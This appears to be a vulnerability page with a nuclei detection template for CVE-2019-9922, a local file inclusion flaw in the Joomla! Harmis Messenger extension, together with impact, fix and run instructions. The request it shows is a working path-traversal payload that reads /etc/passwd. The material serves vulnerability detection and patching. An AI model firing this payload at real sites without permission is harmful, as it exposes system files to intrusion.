Joomla! Harmis Messenger 1.2.2 - Local File Inclusion

highseverity

7.5CVSS score

10.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application.

Fix

Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-9922 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9922

info:
  name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application.
  remediation: |
    Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/azd-cert/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
    epss-score: 0.10228
    epss-percentile: 0.95713
    cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: harmistechnology
    product: je_messenger
    framework: joomla\!
  tags: cve2019,cve,joomla,messenger,lfi,harmistechnology,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

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